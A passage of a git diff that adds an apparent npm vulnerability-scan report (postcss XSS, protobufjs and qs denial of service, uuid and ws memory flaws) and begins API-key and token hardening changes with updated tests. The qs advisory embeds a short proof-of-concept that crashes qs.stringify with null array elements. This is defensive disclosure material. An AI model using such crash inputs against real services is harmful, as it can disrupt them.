+ "Description": "PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Versions prior to 8.5.10 do not escape `\u003c/style\u003e` sequences when stringifying CSS ASTs. When user-submitted CSS is parsed and re-stringified for embedding in HTML `\u003cstyle\u003e` tags, `\u003c/style\u003e` in CSS values breaks out of the style context, enabling XSS. Version 8.5.10 fixes the issue.",
+ "Severity": "MEDIUM",
+ "CweIDs": [
+ "CWE-79"
+ ],
+ "VendorSeverity": {
+ "ghsa": 2,
+ "redhat": 2
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
+ "V3Score": 6.1
+ },
+ "redhat": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
+ "V3Score": 6.1
+ }
+ },
+ "References": [
+ "https://access.redhat.com/security/cve/CVE-2026-41305",
+ "https://github.com/postcss/postcss",
+ "https://github.com/postcss/postcss/releases/tag/8.5.10",
+ "https://github.com/postcss/postcss/security/advisories/GHSA-qx2v-qp2m-jg93",
+ "https://nvd.nist.gov/vuln/detail/CVE-2026-41305",
+ "https://www.cve.org/CVERecord?id=CVE-2026-41305"
+ ],
+ "PublishedDate": "2026-04-24T03:16:11.547Z",
+ "LastModifiedDate": "2026-04-24T17:16:21.5Z"
+ },
+ {
+ "VulnerabilityID": "CVE-2026-45740",
+ "VendorIDs": [
+ "GHSA-jggg-4jg4-v7c6"
+ ],
+ "PkgID": "protobufjs@7.5.6",
+ "PkgName": "protobufjs",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/protobufjs@7.5.6",
+ "UID": "62e85fbdb853ebe0"
+ },
+ "InstalledVersion": "7.5.6",
+ "FixedVersion": "7.5.8, 8.2.0",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45740",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:58d50957b522636da4dbf89cb3cbb6f3d86a7848a088f8020d3ec966602ce874",
+ "Title": "protobufjs: Denial of Service via unbounded recursive JSON descriptor expansion",
+ "Description": "protobufjs compiles protobuf definitions into JavaScript (JS) functions. Prior to 7.5.8 and 8.2.0, protobufjs could recurse without a depth limit while expanding nested JSON descriptors through Root.fromJSON() and Namespace.addJSON(). A crafted JSON descriptor with deeply nested namespace definitions could cause the JavaScript call stack to be exhausted during descriptor loading. This vulnerability is fixed in 7.5.8 and 8.2.0.",
+ "Severity": "MEDIUM",
+ "CweIDs": [
+ "CWE-674"
+ ],
+ "VendorSeverity": {
+ "ghsa": 2,
+ "nvd": 3
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
+ "V3Score": 5.3
+ },
+ "nvd": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "V3Score": 7.5
+ }
+ },
+ "References": [
+ "https://github.com/protobufjs/protobuf.js",
+ "https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-jggg-4jg4-v7c6",
+ "https://nvd.nist.gov/vuln/detail/CVE-2026-45740"
+ ],
+ "PublishedDate": "2026-05-13T16:17:00.52Z",
+ "LastModifiedDate": "2026-05-13T20:50:15.587Z"
+ },
+ {
+ "VulnerabilityID": "CVE-2026-8723",
+ "VendorIDs": [
+ "GHSA-q8mj-m7cp-5q26"
+ ],
+ "PkgID": "qs@6.14.2",
+ "PkgName": "qs",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/qs@6.14.2",
+ "UID": "113e3df86ddfa56f"
+ },
+ "InstalledVersion": "6.14.2",
+ "FixedVersion": "6.15.2",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-8723",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:73dd6e42cc1ee95f951dd1f6878a1a80d64815ece94b0500b962fee972bc6c29",
+ "Title": "### Summary `qs.stringify` throws `TypeError` when called with `arr ...",
+ "Description": "### Summary\n\n\n\n`qs.stringify` throws `TypeError` when called with `arrayFormat: 'comma'` and `encodeValuesOnly: true` on an array containing `null` or `undefined`. The throw is synchronous and not handled by any of qs's null-related options (`skipNulls`, `strictNullHandling`).\n\n\n\n### Details\n\n\n\nIn the comma + `encodeValuesOnly` branch, `lib/stringify.js:145` mapped the array through the raw encoder before joining:\n\n\n\n```js\n\n\n\nobj = utils.maybeMap(obj, encoder);\n\n\n\n```\n\n\n\n`utils.encode` (`lib/utils.js:195`) reads `str.length` with no null guard, so a `null` or `undefined` element throws `TypeError`. `skipNulls` and `strictNullHandling` are both checked in the per-element loop below this line and never get a chance to run.\n\n\n\nSame class of bug as the filter-array path fixed in 0c180a4. The vulnerable shape of the comma + `encodeValuesOnly` branch was introduced in 4c4b23d (\"encode comma values more consistently\", PR #463, 2023-01-19), first released in v6.11.1.\n\n\n\n#### PoC\n\n\n\n```js\n\n\n\nconst qs = require('qs');\n\n\n\nqs.stringify({ a: [null, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true });\n\n\n\nqs.stringify({ a: [undefined, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true });\n\n\n\nqs.stringify({ a: [null] }, { arrayFormat: 'comma', encodeValuesOnly: true });\n\n\n\n// TypeError: Cannot read properties of null (reading 'length')\n\n\n\n// at encode (lib/utils.js:195:13)\n\n\n\n// at Object.maybeMap (lib/utils.js:322:37)\n\n\n\n// at stringify (lib/stringify.js:145:25)\n\n\n\n```\n\n\n\n#### Fix\n\n\n\n`lib/stringify.js:145`, applied in 21f80b3 on `main` and released as v6.15.2:\n\n\n\n```diff\n\n\n\n- obj = utils.maybeMap(obj, encoder);\n\n\n\n+ obj = utils.maybeMap(obj, function (v) {\n\n\n\n+ return v == null ? v : encoder(v);\n\n\n\n+ });\n\n\n\n```\n\n\n\n`null` and `undefined` now pass through `maybeMap` unchanged and reach the `join(',')` step as-is. For `{ a: [null, 'b'] }` this produces `a=,b`, matching the non-`encodeValuesOnly` comma path (which already joins before encoding and produces `a=%2Cb` for the same input). Single-element `[null]` arrays still collapse via the existing `obj.join(',') || null` and remain subject to `skipNulls` / `strictNullHandling` in the main loop.\n\n\n\n### Affected versions\n\n\n\n`\u003e=6.11.1 \u003c6.15.2` — fixed in v6.15.2.\n\n\n\nThe vulnerable code shape was introduced in 4c4b23d and first shipped in v6.11.1. Earlier versions — including all of 6.7.x, 6.8.x, 6.9.x, 6.10.x, and 6.11.0 — implemented the comma + `encodeValuesOnly` path differently (joining before encoding) and are not affected. Empirically verified across released versions.\n\n\n\n### Impact\n\n\n\nApplication code that calls `qs.stringify` with both `arrayFormat: 'comma'` and `encodeValuesOnly: true` (both non-default) on input that may contain a `null` or `undefined` array element will throw synchronously instead of producing a query string. In a typical Node.js HTTP framework (Express, Fastify, Koa, hapi) the sync throw is caught by the framework's error boundary and the affected request returns a 500; the worker process does not exit and subsequent requests are unaffected. The \"kills the worker process\" framing applies only to call sites outside a request-handler error boundary (background jobs, startup paths, stream pipelines) or to deployments with framework error handling explicitly disabled.\n\n\n\nThe vulnerable input is a `null` or `undefined` entry inside an array; this is reachable from JSON request bodies or from application code constructing arrays from user input, but not from standard HTML form submissions (which produce strings or omitted fields, not literal `null`).",
+ "Severity": "MEDIUM",
+ "CweIDs": [
+ "CWE-476"
+ ],
+ "VendorSeverity": {
+ "ghsa": 2
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
+ "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
+ "V3Score": 5.3,
+ "V40Score": 6.3
+ }
+ },
+ "References": [
+ "https://github.com/ljharb/qs",
+ "https://github.com/ljharb/qs/commit/21f80b33e5c8b3f7eba1034fff0da4a4a37a1d41",
+ "https://github.com/ljharb/qs/security/advisories/GHSA-q8mj-m7cp-5q26",
+ "https://nvd.nist.gov/vuln/detail/CVE-2026-8723"
+ ],
+ "PublishedDate": "2026-05-17T00:16:21.233Z",
+ "LastModifiedDate": "2026-05-18T20:23:20.24Z"
+ },
+ {
+ "VulnerabilityID": "CVE-2026-8723",
+ "VendorIDs": [
+ "GHSA-q8mj-m7cp-5q26"
+ ],
+ "PkgID": "qs@6.15.1",
+ "PkgName": "qs",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/qs@6.15.1",
+ "UID": "d72f459e7ded52a8"
+ },
+ "InstalledVersion": "6.15.1",
+ "FixedVersion": "6.15.2",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-8723",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:213a1e98c629115285f987532c5bf58a832df361e42a4f606542f55356cf36c2",
+ "Title": "### Summary `qs.stringify` throws `TypeError` when called with `arr ...",
+ "Description": "### Summary\n\n\n\n`qs.stringify` throws `TypeError` when called with `arrayFormat: 'comma'` and `encodeValuesOnly: true` on an array containing `null` or `undefined`. The throw is synchronous and not handled by any of qs's null-related options (`skipNulls`, `strictNullHandling`).\n\n\n\n### Details\n\n\n\nIn the comma + `encodeValuesOnly` branch, `lib/stringify.js:145` mapped the array through the raw encoder before joining:\n\n\n\n```js\n\n\n\nobj = utils.maybeMap(obj, encoder);\n\n\n\n```\n\n\n\n`utils.encode` (`lib/utils.js:195`) reads `str.length` with no null guard, so a `null` or `undefined` element throws `TypeError`. `skipNulls` and `strictNullHandling` are both checked in the per-element loop below this line and never get a chance to run.\n\n\n\nSame class of bug as the filter-array path fixed in 0c180a4. The vulnerable shape of the comma + `encodeValuesOnly` branch was introduced in 4c4b23d (\"encode comma values more consistently\", PR #463, 2023-01-19), first released in v6.11.1.\n\n\n\n#### PoC\n\n\n\n```js\n\n\n\nconst qs = require('qs');\n\n\n\nqs.stringify({ a: [null, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true });\n\n\n\nqs.stringify({ a: [undefined, 'b'] }, { arrayFormat: 'comma', encodeValuesOnly: true });\n\n\n\nqs.stringify({ a: [null] }, { arrayFormat: 'comma', encodeValuesOnly: true });\n\n\n\n// TypeError: Cannot read properties of null (reading 'length')\n\n\n\n// at encode (lib/utils.js:195:13)\n\n\n\n// at Object.maybeMap (lib/utils.js:322:37)\n\n\n\n// at stringify (lib/stringify.js:145:25)\n\n\n\n```\n\n\n\n#### Fix\n\n\n\n`lib/stringify.js:145`, applied in 21f80b3 on `main` and released as v6.15.2:\n\n\n\n```diff\n\n\n\n- obj = utils.maybeMap(obj, encoder);\n\n\n\n+ obj = utils.maybeMap(obj, function (v) {\n\n\n\n+ return v == null ? v : encoder(v);\n\n\n\n+ });\n\n\n\n```\n\n\n\n`null` and `undefined` now pass through `maybeMap` unchanged and reach the `join(',')` step as-is. For `{ a: [null, 'b'] }` this produces `a=,b`, matching the non-`encodeValuesOnly` comma path (which already joins before encoding and produces `a=%2Cb` for the same input). Single-element `[null]` arrays still collapse via the existing `obj.join(',') || null` and remain subject to `skipNulls` / `strictNullHandling` in the main loop.\n\n\n\n### Affected versions\n\n\n\n`\u003e=6.11.1 \u003c6.15.2` — fixed in v6.15.2.\n\n\n\nThe vulnerable code shape was introduced in 4c4b23d and first shipped in v6.11.1. Earlier versions — including all of 6.7.x, 6.8.x, 6.9.x, 6.10.x, and 6.11.0 — implemented the comma + `encodeValuesOnly` path differently (joining before encoding) and are not affected. Empirically verified across released versions.\n\n\n\n### Impact\n\n\n\nApplication code that calls `qs.stringify` with both `arrayFormat: 'comma'` and `encodeValuesOnly: true` (both non-default) on input that may contain a `null` or `undefined` array element will throw synchronously instead of producing a query string. In a typical Node.js HTTP framework (Express, Fastify, Koa, hapi) the sync throw is caught by the framework's error boundary and the affected request returns a 500; the worker process does not exit and subsequent requests are unaffected. The \"kills the worker process\" framing applies only to call sites outside a request-handler error boundary (background jobs, startup paths, stream pipelines) or to deployments with framework error handling explicitly disabled.\n\n\n\nThe vulnerable input is a `null` or `undefined` entry inside an array; this is reachable from JSON request bodies or from application code constructing arrays from user input, but not from standard HTML form submissions (which produce strings or omitted fields, not literal `null`).",
+ "Severity": "MEDIUM",
+ "CweIDs": [
+ "CWE-476"
+ ],
+ "VendorSeverity": {
+ "ghsa": 2
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
+ "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
+ "V3Score": 5.3,
+ "V40Score": 6.3
+ }
+ },
+ "References": [
+ "https://github.com/ljharb/qs",
+ "https://github.com/ljharb/qs/commit/21f80b33e5c8b3f7eba1034fff0da4a4a37a1d41",
+ "https://github.com/ljharb/qs/security/advisories/GHSA-q8mj-m7cp-5q26",
+ "https://nvd.nist.gov/vuln/detail/CVE-2026-8723"
+ ],
+ "PublishedDate": "2026-05-17T00:16:21.233Z",
+ "LastModifiedDate": "2026-05-18T20:23:20.24Z"
+ },
+ {
+ "VulnerabilityID": "CVE-2026-41907",
+ "VendorIDs": [
+ "GHSA-w5hq-g745-h8pq"
+ ],
+ "PkgID": "uuid@10.0.0",
+ "PkgName": "uuid",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/uuid@10.0.0",
+ "UID": "3aebb3e4d3409ba3"
+ },
+ "InstalledVersion": "10.0.0",
+ "FixedVersion": "11.1.1, 12.0.1, 13.0.1",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-41907",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:f52ae8dc1a017d71721e07bbe869499169d8a5c5e9c3253a4e2eb108b32bcce2",
+ "Title": "uuid: uuid: Out-of-bounds write vulnerability impacts data integrity and confidentiality",
+ "Description": "uuid is for the creation of RFC9562 (formerly RFC4122) UUIDs. Prior to 14.0.0, v3, v5, and v6 accept external output buffers but do not reject out-of-range writes (small buf or large offset). This allows silent partial writes into caller-provided buffers. This vulnerability is fixed in 14.0.0.",
+ "Severity": "MEDIUM",
+ "CweIDs": [
+ "CWE-787",
+ "CWE-823"
+ ],
+ "VendorSeverity": {
+ "ghsa": 2,
+ "nvd": 3,
+ "redhat": 2
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
+ "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
+ "V3Score": 7.5,
+ "V40Score": 6.3
+ },
+ "nvd": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
+ "V3Score": 7.5
+ },
+ "redhat": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L",
+ "V3Score": 4.8
+ }
+ },
+ "References": [
+ "https://access.redhat.com/security/cve/CVE-2026-41907",
+ "https://github.com/uuidjs/uuid",
+ "https://github.com/uuidjs/uuid/commit/32389c887c9e75f90442ee4cc95bbab0c4e8346e",
+ "https://github.com/uuidjs/uuid/commit/3d2c5b0342f0fcb52a5ac681c3d47c13e7444b34",
+ "https://github.com/uuidjs/uuid/commit/3d61d6ac1f782cf6b1dd8661c60f11722cd49a0d",
+ "https://github.com/uuidjs/uuid/commit/9d27ddf7046ce496ef39569ff84d948eeff9cb2a",
+ "https://github.com/uuidjs/uuid/releases/tag/v11.1.1",
+ "https://github.com/uuidjs/uuid/releases/tag/v12.0.1",
+ "https://github.com/uuidjs/uuid/releases/tag/v13.0.1",
+ "https://github.com/uuidjs/uuid/releases/tag/v14.0.0",
+ "https://github.com/uuidjs/uuid/security/advisories/GHSA-w5hq-g745-h8pq",
+ "https://nvd.nist.gov/vuln/detail/CVE-2026-41907",
+ "https://www.cve.org/CVERecord?id=CVE-2026-41907"
+ ],
+ "PublishedDate": "2026-04-24T19:17:14.49Z",
+ "LastModifiedDate": "2026-05-11T13:53:19.343Z"
+ },
+ {
+ "VulnerabilityID": "CVE-2026-41907",
+ "VendorIDs": [
+ "GHSA-w5hq-g745-h8pq"
+ ],
+ "PkgID": "uuid@8.3.2",
+ "PkgName": "uuid",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/uuid@8.3.2",
+ "UID": "6e5d7e5bc86220f1"
+ },
+ "InstalledVersion": "8.3.2",
+ "FixedVersion": "11.1.1, 12.0.1, 13.0.1",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-41907",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:e18b8892b872dd486112ee2d6f01dc328840284a7b7ecd6c2508acdb20db0944",
+ "Title": "uuid: uuid: Out-of-bounds write vulnerability impacts data integrity and confidentiality",
+ "Description": "uuid is for the creation of RFC9562 (formerly RFC4122) UUIDs. Prior to 14.0.0, v3, v5, and v6 accept external output buffers but do not reject out-of-range writes (small buf or large offset). This allows silent partial writes into caller-provided buffers. This vulnerability is fixed in 14.0.0.",
+ "Severity": "MEDIUM",
+ "CweIDs": [
+ "CWE-787",
+ "CWE-823"
+ ],
+ "VendorSeverity": {
+ "ghsa": 2,
+ "nvd": 3,
+ "redhat": 2
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
+ "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
+ "V3Score": 7.5,
+ "V40Score": 6.3
+ },
+ "nvd": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
+ "V3Score": 7.5
+ },
+ "redhat": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L",
+ "V3Score": 4.8
+ }
+ },
+ "References": [
+ "https://access.redhat.com/security/cve/CVE-2026-41907",
+ "https://github.com/uuidjs/uuid",
+ "https://github.com/uuidjs/uuid/commit/32389c887c9e75f90442ee4cc95bbab0c4e8346e",
+ "https://github.com/uuidjs/uuid/commit/3d2c5b0342f0fcb52a5ac681c3d47c13e7444b34",
+ "https://github.com/uuidjs/uuid/commit/3d61d6ac1f782cf6b1dd8661c60f11722cd49a0d",
+ "https://github.com/uuidjs/uuid/commit/9d27ddf7046ce496ef39569ff84d948eeff9cb2a",
+ "https://github.com/uuidjs/uuid/releases/tag/v11.1.1",
+ "https://github.com/uuidjs/uuid/releases/tag/v12.0.1",
+ "https://github.com/uuidjs/uuid/releases/tag/v13.0.1",
+ "https://github.com/uuidjs/uuid/releases/tag/v14.0.0",
+ "https://github.com/uuidjs/uuid/security/advisories/GHSA-w5hq-g745-h8pq",
+ "https://nvd.nist.gov/vuln/detail/CVE-2026-41907",
+ "https://www.cve.org/CVERecord?id=CVE-2026-41907"
+ ],
+ "PublishedDate": "2026-04-24T19:17:14.49Z",
+ "LastModifiedDate": "2026-05-11T13:53:19.343Z"
+ },
+ {
+ "VulnerabilityID": "CVE-2026-41907",
+ "VendorIDs": [
+ "GHSA-w5hq-g745-h8pq"
+ ],
+ "PkgID": "uuid@9.0.1",
+ "PkgName": "uuid",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/uuid@9.0.1",
+ "UID": "f9285e1af833eb69"
+ },
+ "InstalledVersion": "9.0.1",
+ "FixedVersion": "11.1.1, 12.0.1, 13.0.1",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-41907",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:af3fc31299d42b99c289f714136339996a3572ed4bd86a5404c9270f121301d3",
+ "Title": "uuid: uuid: Out-of-bounds write vulnerability impacts data integrity and confidentiality",
+ "Description": "uuid is for the creation of RFC9562 (formerly RFC4122) UUIDs. Prior to 14.0.0, v3, v5, and v6 accept external output buffers but do not reject out-of-range writes (small buf or large offset). This allows silent partial writes into caller-provided buffers. This vulnerability is fixed in 14.0.0.",
+ "Severity": "MEDIUM",
+ "CweIDs": [
+ "CWE-787",
+ "CWE-823"
+ ],
+ "VendorSeverity": {
+ "ghsa": 2,
+ "nvd": 3,
+ "redhat": 2
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
+ "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
+ "V3Score": 7.5,
+ "V40Score": 6.3
+ },
+ "nvd": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
+ "V3Score": 7.5
+ },
+ "redhat": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L",
+ "V3Score": 4.8
+ }
+ },
+ "References": [
+ "https://access.redhat.com/security/cve/CVE-2026-41907",
+ "https://github.com/uuidjs/uuid",
+ "https://github.com/uuidjs/uuid/commit/32389c887c9e75f90442ee4cc95bbab0c4e8346e",
+ "https://github.com/uuidjs/uuid/commit/3d2c5b0342f0fcb52a5ac681c3d47c13e7444b34",
+ "https://github.com/uuidjs/uuid/commit/3d61d6ac1f782cf6b1dd8661c60f11722cd49a0d",
+ "https://github.com/uuidjs/uuid/commit/9d27ddf7046ce496ef39569ff84d948eeff9cb2a",
+ "https://github.com/uuidjs/uuid/releases/tag/v11.1.1",
+ "https://github.com/uuidjs/uuid/releases/tag/v12.0.1",
+ "https://github.com/uuidjs/uuid/releases/tag/v13.0.1",
+ "https://github.com/uuidjs/uuid/releases/tag/v14.0.0",
+ "https://github.com/uuidjs/uuid/security/advisories/GHSA-w5hq-g745-h8pq",
+ "https://nvd.nist.gov/vuln/detail/CVE-2026-41907",
+ "https://www.cve.org/CVERecord?id=CVE-2026-41907"
+ ],
+ "PublishedDate": "2026-04-24T19:17:14.49Z",
+ "LastModifiedDate": "2026-05-11T13:53:19.343Z"
+ },
+ {
+ "VulnerabilityID": "CVE-2026-45736",
+ "VendorIDs": [
+ "GHSA-58qx-3vcg-4xpx"
+ ],
+ "PkgID": "ws@8.18.3",
+ "PkgName": "ws",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/ws@8.18.3",
+ "UID": "eed5161b69f5e052"
+ },
+ "InstalledVersion": "8.18.3",
+ "FixedVersion": "8.20.1",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45736",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:14dd2b1ac553b21cd72e683d6de57a1e51f585db0f412a8eb4c7000e065b4ff7",
+ "Title": "ws is an open source WebSocket client and server for Node.js. Prior to ...",
+ "Description": "ws is an open source WebSocket client and server for Node.js. Prior to 8.20.1, the websocket.close() implementation is vulnerable to uninitialized memory disclosure when a TypedArray is passed as the reason argument. This vulnerability is fixed in 8.20.1.",
+ "Severity": "MEDIUM",
+ "CweIDs": [
+ "CWE-908"
+ ],
+ "VendorSeverity": {
+ "ghsa": 2,
+ "nvd": 3
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N",
+ "V3Score": 4.4
+ },
+ "nvd": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
+ "V3Score": 7.5
+ }
+ },
+ "References": [
+ "https://github.com/websockets/ws",
+ "https://github.com/websockets/ws/commit/c0327ec15a54d701eb6ccefaa8bef328cfc03086",
+ "https://github.com/websockets/ws/security/advisories/GHSA-58qx-3vcg-4xpx",
+ "https://nvd.nist.gov/vuln/detail/CVE-2026-45736"
+ ],
+ "PublishedDate": "2026-05-15T15:16:54.103Z",
+ "LastModifiedDate": "2026-05-19T14:39:20.353Z"
+ }
+ ]
+ }
+ ]
+}
diff --git a/security_hardening_changed_files.txt b/security_hardening_changed_files.txt
new file mode 100644
index 0000000..487e0ea
--- /dev/null
+++ b/security_hardening_changed_files.txt
@@ -0,0 +1,12 @@
+apps/api/src/index.ts -> apps/api/src/index.ts differ
+apps/api/src/middleware/requireApiKey.test.ts -> apps/api/src/middleware/requireApiKey.test.ts differ
+apps/api/src/middleware/requireApiKey.ts -> apps/api/src/middleware/requireApiKey.ts differ
+apps/api/src/middleware/requireCompanyAuth.test.ts -> apps/api/src/middleware/requireCompanyAuth.test.ts differ
+apps/api/src/middleware/requireRenterAuth.test.ts -> apps/api/src/middleware/requireRenterAuth.test.ts differ
+apps/api/src/modules/auth/auth.employee.service.ts -> apps/api/src/modules/auth/auth.employee.service.ts differ
+apps/api/src/security/tokens.ts -> apps/api/src/security/tokens.ts differ
+apps/api/src/tests/helpers/fixtures.ts -> apps/api/src/tests/helpers/fixtures.ts differ
+packages/database/prisma/migrations: 20260609233000_drop_legacy_company_api_key
+packages/database/prisma/schema.prisma -> packages/database/prisma/schema.prisma differ
+packages/database/src/index.d.ts -> packages/database/src/index.d.ts differ
+packages/database/src/index.ts -> packages/database/src/index.ts differ
diff --git a/security_hardening_incremental.diff b/security_hardening_incremental.diff
new file mode 100644
index 0000000..ac4b668
--- /dev/null
+++ b/security_hardening_incremental.diff
@@ -0,0 +1,342 @@
+diff -ru '--exclude=node_modules' car_project_original/apps/api/src/index.ts car_project_work/apps/api/src/index.ts
+--- car_project_original/apps/api/src/index.ts 2026-06-09 19:40:36.000000000 +0000
++++ car_project_work/apps/api/src/index.ts 2026-06-09 23:18:30.521017321 +0000
+@@ -1,11 +1,11 @@
+ import http from 'http'
+ import { Server as SocketIOServer } from 'socket.io'
+ import cron from 'node-cron'
+-import jwt from 'jsonwebtoken'
+ import { redis } from './lib/redis'
+ import { prisma } from './lib/prisma'
+ import { assertStorageConfiguration } from './lib/storage'
+ import { createApp, corsOrigins } from './app'
++import { verifyAnyActorToken } from './security/tokens'
+ import { sendNotification } from './services/notificationService'
+ import {
+ runTrialExpirationJob,
+@@ -29,7 +29,7 @@
+ const token = socket.handshake.auth?.token as string | undefined
+ if (!token) return next() // unauthenticated connections allowed; they just don't join rooms
+ try {
+- const payload = jwt.verify(token, process.env.JWT_SECRET!) as { sub: string; type: string }
++ const payload = verifyAnyActorToken(token)
+ ;(socket as any).authenticatedUserId = payload.sub
+ next()
+ } catch {
+diff -ru '--exclude=node_modules' car_project_original/apps/api/src/middleware/requireApiKey.test.ts car_project_work/apps/api/src/middleware/requireApiKey.test.ts
+--- car_project_original/apps/api/src/middleware/requireApiKey.test.ts 2026-06-09 19:40:36.000000000 +0000
++++ car_project_work/apps/api/src/middleware/requireApiKey.test.ts 2026-06-09 23:18:42.795559504 +0000
+@@ -1,10 +1,12 @@
+ import { beforeEach, describe, expect, it, vi } from 'vitest'
+ import type { NextFunction, Request, Response } from 'express'
++import { generateCompanyApiKey } from '../security/apiKeys'
+
+ vi.mock('../lib/prisma', () => ({
+ prisma: {
+- company: {
++ companyApiKey: {
+ findUnique: vi.fn(),
++ update: vi.fn(),
+ },
+ },
+ }))
+@@ -42,19 +44,18 @@
+ message: 'API key required in x-api-key header',
+ statusCode: 401,
+ })
+- expect(prisma.company.findUnique).not.toHaveBeenCalled()
++ expect((prisma as any).companyApiKey.findUnique).not.toHaveBeenCalled()
+ expect(next).not.toHaveBeenCalled()
+ })
+
+- it('rejects unknown API keys', async () => {
+- vi.mocked(prisma.company.findUnique).mockResolvedValue(null)
++ it('rejects malformed API keys before database lookup', async () => {
+ const req = { headers: { 'x-api-key': 'bad-key' } } as unknown as Request
+ const res = createResponseStub()
+ const next = vi.fn() as NextFunction
+
+ await requireApiKey(req, res, next)
+
+- expect(prisma.company.findUnique).toHaveBeenCalledWith({ where: { apiKey: 'bad-key' } })
++ expect((prisma as any).companyApiKey.findUnique).not.toHaveBeenCalled()
+ expect(res.status).toHaveBeenCalledWith(401)
+ expect(res.json).toHaveBeenCalledWith({
+ error: 'invalid_api_key',
+@@ -64,15 +65,91 @@
+ expect(next).not.toHaveBeenCalled()
+ })
+
